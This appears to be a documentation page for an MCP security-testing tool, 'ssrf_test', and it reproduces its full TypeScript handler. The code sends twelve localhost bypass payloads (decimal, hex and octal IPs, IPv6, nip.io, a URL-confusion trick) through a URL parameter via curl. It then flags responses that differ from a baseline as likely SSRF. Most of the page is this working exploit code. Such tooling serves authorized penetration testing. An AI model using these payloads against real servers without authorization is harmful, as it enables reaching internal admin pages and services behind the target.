ssrf_test
Test SSRF vulnerabilities by sending multiple localhost bypass variants to check if servers fetch internal resources. Returns detailed results for each attempt.
Instructions
Test SSRF with localhost bypass variants. Sends 10+ representations of localhost (127.0.0.1, 0, decimal, hex, IPv6, etc.) to check if the server fetches internal resources. Returns results array with variant, payload_url, status, length, different_from_baseline per attempt. Side effects: May cause the target server to make internal requests.
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | Target URL that accepts a URL/host parameter | |
| parameter | Yes | Parameter that accepts URLs, e.g. 'url', 'src', 'redirect' | |
| internal_target | No | Internal resource to reach, e.g. 'http://localhost/admin' | |
| method | No | HTTP method |
Implementation Reference
- src/tools/ssrf.ts:12-109 (handler)The tool 'ssrf_test' is registered and implemented in src/tools/ssrf.ts, which uses 'curl' to test various SSRF localhost bypass payloads.
server.tool( "ssrf_test", "Test SSRF with localhost bypass variants. Sends 10+ representations of localhost (127.0.0.1, 0, decimal, hex, IPv6, etc.) to check if the server fetches internal resources. Returns results array with variant, payload_url, status, length, different_from_baseline per attempt. Side effects: May cause the target server to make internal requests.", { url: z.string().describe("Target URL that accepts a URL/host parameter"), parameter: z.string().describe("Parameter that accepts URLs, e.g. 'url', 'src', 'redirect'"), internal_target: z.string().optional().describe("Internal resource to reach, e.g. 'http://localhost/admin'"), method: z.enum(["GET", "POST"]).optional().describe("HTTP method"), }, async ({ url, parameter, internal_target = "http://localhost/admin", method = "POST" }) => { requireTool("curl"); // Parse the internal target to replace the host portion const parsedUrl = new URL(internal_target); const path = parsedUrl.pathname || "/"; const localhostVariants: Array<[string, string]> = [ ["127.0.0.1", `http://127.0.0.1${path}`], ["localhost", `http://localhost${path}`], ["0", `http://0${path}`], ["0.0.0.0", `http://0.0.0.0${path}`], ["127.1", `http://127.1${path}`], ["decimal_2130706433", `http://2130706433${path}`], ["hex_0x7f000001", `http://0x7f000001${path}`], ["octal_017700000001", `http://017700000001${path}`], ["ipv6_::1", `http://[::1]${path}`], ["ipv6_0000::1", `http://[0000:0000:0000:0000:0000:0000:0000:0001]${path}`], ["nip.io", `http://127.0.0.1.nip.io${path}`], ["redirect_scheme", `http://localhost%23@example.com${path}`], ]; // First get an error baseline with an obviously-invalid target const baselineCurlArgs = method === "POST" ? [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", "-X", method, "-d", `${parameter}=http://invalid.example.test/nothing`, url, ] : [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", `${url}?${parameter}=http://invalid.example.test/nothing`, ]; const baseline = await runCmd("curl", baselineCurlArgs); const bp = baseline.stdout.split(":"); const baselineStatus = bp.length > 0 ? parseInt(bp[0], 10) : 0; const baselineLength = bp.length > 1 ? parseInt(bp[1], 10) : 0; const results = []; for (const [variantName, payloadUrl] of localhostVariants) { let curlArgs: string[]; if (method === "POST") { curlArgs = [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", "-X", "POST", "-d", `${parameter}=${payloadUrl}`, url, ]; } else { curlArgs = [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", `${url}?${parameter}=${payloadUrl}`, ]; } const res = await runCmd("curl", curlArgs); const parts = res.stdout.split(":"); const status = parts.length > 0 ? parseInt(parts[0], 10) : 0; const length = parts.length > 1 ? parseInt(parts[1], 10) : 0; const different = status !== baselineStatus || Math.abs(length - baselineLength) > 50; results.push({ variant: variantName, payload_url: payloadUrl, status, length, different_from_baseline: different, }); } const promising = results.filter((r) => r.different_from_baseline); const result = { baseline_status: baselineStatus, baseline_length: baselineLength, results, promising_variants: promising.map((r) => r.variant), hint: promising.length > 0 ? "Variants with different status/length from baseline may indicate successful SSRF." : "No variants differed from baseline. Try different parameters or internal targets.", }; return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] }; } );